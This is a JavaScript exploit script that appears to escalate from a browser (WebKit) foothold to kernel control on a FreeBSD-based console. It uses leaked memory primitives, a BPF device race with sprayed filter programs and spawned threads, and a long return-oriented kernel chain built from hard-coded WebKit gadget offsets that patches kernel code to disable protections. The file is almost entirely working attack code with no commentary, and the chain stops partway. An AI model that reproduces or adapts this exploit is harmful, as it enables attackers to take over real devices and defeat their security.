log("--- trying kernel exploit --");
function malloc(sz)
{
var backing = new Uint8Array(0x10000+sz);
window.nogc.push(backing);
var ptr = p.read8(p.leakval(backing).add32(0x10));
ptr.backing = backing;
return ptr;
}
function malloc32(sz)
{
var backing = new Uint8Array(0x10000+sz*4);
window.nogc.push(backing);
var ptr = p.read8(p.leakval(backing).add32(0x10));
ptr.backing = new Uint32Array(backing.buffer);
return ptr;
}
var strcpy_helper = new Uint8Array(0x1000);
var where_writeptr_strcpy = p.leakval(strcpy_helper).add32(0x10);
function strcpy(ptr, str)
{
p.write8(where_writeptr_strcpy, ptr);
for (var i = 0; i < str.length; i++)
strcpy_helper[i] = str.charCodeAt(i) & 0xFF;
strcpy_helper[str.length] = 0;
}
var spawnthread = function(name, chain) {
var longjmp = window.webKitBase.add32(0x14e8);
var createThread = window.webKitBase.add32(0x779190);
var contextp = malloc32(0x2000);
var contextz = contextp.backing;
contextz[0] = 1337;
var thread2 = new RopChain();
thread2.push(window.gadgets["ret"]);
thread2.push(window.gadgets["ret"]);
thread2.push(window.gadgets["ret"]);
thread2.push(window.gadgets["ret"]);
chain(thread2);
p.write8(contextp, window.gadgets["ret"]);
p.write8(contextp.add32(0x10), thread2.ropframeptr);
var retv = function() {p.fcall(createThread, longjmp, contextp, p.sptr(name));}
window.nogc.push(contextp);
window.nogc.push(thread2);
return retv;
}
var fd = p.syscall("open", p.sptr("/dev/bpf0"), 2).low;
var fd1 = p.syscall("open", p.sptr("/dev/bpf0"), 2).low;
if (fd == (-1 >>> 0))
{
print("kexp failed: no bpf0");
}
var assertcnt = 0;
var assert = function(x)
{
assertcnt++;
if (!x) throw "assertion " + assertcnt + " failed";
}
print("got it");
var bpf_valid = malloc32(0x4000);
var bpf_spray = malloc32(0x4000);
var bpf_valid_u32 = bpf_valid.backing;
var bpf_valid_prog = malloc(0x40);
p.write8(bpf_valid_prog, 0x800/8)
p.write8(bpf_valid_prog.add32(8), bpf_valid)
var bpf_spray_prog = malloc(0x40);
p.write8(bpf_spray_prog, 0x800/8)
p.write8(bpf_spray_prog.add32(8), bpf_spray)
for (var i = 0 ; i < 0x400; )
{
bpf_valid_u32[i++] = 6;
bpf_valid_u32[i++] = 0;
}
var rtv = p.syscall("ioctl", fd, 0x8010427B, bpf_valid_prog);
assert(rtv.low == 0);
print("okay")
var interrupt1, loop1;
var interrupt2, loop2;
var sock = p.syscall(97, 2, 2)
var kscratch = malloc32(0x100);
var start1 = spawnthread("GottaGoFast", function(thread2){
interrupt1 = thread2.ropframeptr;
thread2.push(window.gadgets["ret"]);
thread2.push(window.gadgets["ret"]);
thread2.push(window.gadgets["ret"]);
thread2.push(window.gadgets["pop rdi"]);
thread2.push(fd);
thread2.push(window.gadgets["pop rsi"]);
thread2.push(0x8010427B);
thread2.push(window.gadgets["pop rdx"]);
thread2.push(bpf_valid_prog);
thread2.push(window.gadgets["pop rsp"]);
thread2.push(thread2.ropframeptr.add32(0x800));
thread2.count = 0x100;
var cntr = thread2.count;
thread2.push(window.syscalls[54]);
thread2.push_write8(thread2.ropframeptr.add32(cntr*8), window.syscalls[54]);
thread2.push(window.gadgets["pop rdi"]);
var wherep = thread2.pushSymbolic();
thread2.push(window.gadgets["pop rsi"]);
var whatp = thread2.pushSymbolic();
thread2.push(window.gadgets["mov [rdi], rsi"]);
thread2.push(window.gadgets["pop rsp"]);
loop1 = thread2.ropframeptr.add32(thread2.count*8);
thread2.push(0x41414141);
thread2.finalizeSymbolic(wherep, loop1);
thread2.finalizeSymbolic(whatp, loop1.sub32(8));
})
var krop = new RopChain();
var race = new RopChain();
var ctxp = malloc32(0x2000);
var ctxp1 = malloc32(0x2000);
p.write8(bpf_spray.add32(16), ctxp);
var prefaultlist = [];
function pfd(addr)
{
var page = addr.add32(0);
page.low &= 0xffffc000;
p.syscall("mlock", page, 0x8000);
p.read4(addr);
return addr;
}
function pf(addr){
var page = addr.add32(0);
page.low &= 0xffffc000;
p.syscall("mlock", page, 0x8000);
var ret = addr.add32(0);
while (1)
{
var opcode = (p.read4(ret) & 0xff);
if (opcode == 0xc3)
{
prefaultlist.push(ret);
break;
}
ret.add32inplace(1);
}
return addr;
}
for (var gadgetname in gadgets) {
if (gadgets.hasOwnProperty(gadgetname)) {
if (gadgetname == "stack_chk_fail" || gadgetname == "memset" || gadgetname == "setjmp") continue;
pf(gadgets[gadgetname]);
}
}
var ctxp2 = malloc32(0x2000);
var wk2apf = function(off)
{
var addr = window.webKitBase.add32(off);
pf(addr);
return addr;
}
p.write8(ctxp.add32(0x50), 0);
p.write8(ctxp.add32(0x68), ctxp1);
var stackshift_from_retaddr = 0;
p.write8(ctxp1.add32(0x10), wk2apf(0x12a184d));
stackshift_from_retaddr += 8 + 0x58;
p.write8(ctxp.add32(0), ctxp2);
p.write8(ctxp.add32(0x10), ctxp2.add32(8));
p.write8(ctxp2.add32(0x7d0), wk2apf(0x6ef2e5))
var iterbase = ctxp2;
for (var i=0; i<0xf; i++)
{
p.write8(iterbase, wk2apf(0x12a184d))
stackshift_from_retaddr += 8 + 0x58;
p.write8(iterbase.add32(0x7d0+0x20), wk2apf(0x6ef2e5))
p.write8(iterbase.add32(8), iterbase.add32(0x20));
p.write8(iterbase.add32(0x18), iterbase.add32(0x20+8))
iterbase = iterbase.add32(0x20);
}
var raxbase = iterbase;
var rdibase = iterbase.add32(8);
var memcpy = get_jmptgt(webKitBase.add32(0xf8));
memcpy = p.read8(memcpy);
pf(memcpy);
p.write8(raxbase, wk2apf(0x15ca29b))
stackshift_from_retaddr += 8;
p.write8(rdibase.add32(0x70), wk2apf(0x12846b4));
stackshift_from_retaddr += 8;
p.write8(rdibase.add32(0x18), rdibase);
p.write8(rdibase.add32(8), krop.ropframeptr);
p.write8(raxbase.add32(0x30), wk2apf(0xf094a));
p.write8(rdibase, raxbase);
p.write8(raxbase.add32(0x420), wk2apf(0x2728a1));
p.write8(raxbase.add32(0x40), memcpy.add32(0xc2-0x90));
var topofchain = stackshift_from_retaddr + 0x28 ;
p.write8(rdibase.add32(0xb0), topofchain);
for (var i = 0; i < 0x1000/8; i++)
{
p.write8(krop.ropframeptr.add32(i*8), window.gadgets["ret"]);
}
krop.count = 0x10;
p.write8(kscratch.add32(0x420), window.gadgets["pop rdi"]);
p.write8(kscratch.add32(0x40), window.gadgets["pop rax"]);
p.write8(kscratch.add32(0x18), kscratch);
function set_rdi_rbpoff() {
krop.push(window.gadgets["pop rdi"]);
krop.push(kscratch.add32(0x18));
krop.push(wk2apf(0xf094a));
var rbp_off = topofchain - krop.count*8 + 0x28;
krop.push(wk2apf(0x2728a1));
return rbp_off;
}
function add_to_rdi(imm)
{
krop.push(window.gadgets["pop rax"]);
krop.push(imm);
krop.push(wk2apf(0x55566f));
}
var rboff = set_rdi_rbpoff();
add_to_rdi(rboff);
var add_rax = function(imm)
{
krop.push(window.gadgets["pop rsi"]);
krop.push(imm);
krop.push(wk2apf(0x1520c6));
}
krop.push(wk2apf(0x46ef9));
add_rax(0x2fa);
krop.push(wk2apf(0x14536b));
var shellbuf = malloc32(0x1000);
var write_rax = function(addr)
{
krop.push(window.gadgets["pop rdi"]);
krop.push(addr);
krop.push(wk2apf(0x14536b));
}
var load_rax = function(addr)
{
krop.push(window.gadgets["pop rax"]);
krop.push(addr);
krop.push(wk2apf(0x6c83a));
}
var and_rax = function(imm)
{
krop.push(window.gadgets["pop rsi"]);
krop.push(imm);
krop.push(wk2apf(0x1570a1f));
}
var rax_to_rdx = function()
{
krop.push(wk2apf(0x353a71));
}
var rdx_to_rax = function()
{
krop.push(wk2apf(0x1cee60));
}
var rax_to_rdi = function()
{
krop.push(wk2apf(0x15a3faf));
}
var write_to_rax64 = function(imm)
{
krop.push(window.gadgets["pop rsi"]);
krop.push(imm);
krop.push(window.gadgets["mov [rax], rsi"]);
}
write_rax(kscratch);
add_rax(0xc54b4)
write_rax(kscratch.add32(8));
krop.push(wk2apf(0x82));
write_rax(kscratch.add32(16));
and_rax(new int64(0xfffeffff,0xffffffff));
rax_to_rdx();
load_rax(kscratch.add32(8))
add_rax(9)
rax_to_rdi();
rdx_to_rax();
krop.push(wk2apf(0x295dbe));
load_rax(kscratch);
add_rax(0x3609a);
krop.push(wk2apf(0x6c83a));
write_rax(kscratch.add32(0x330));
load_rax(kscratch);
add_rax(0x3609a);
write_to_rax64(new int64(0x9090FA38,0x90909090));
load_rax(kscratch.add32(8))
add_rax(9)
rax_to_rdi();
load_rax(kscratch.add32(16))
krop.push(wk2apf(0x295dbe));
krop.push(wk2apf(0x5cdb9));
krop.push(kscratch.add32(0x1000));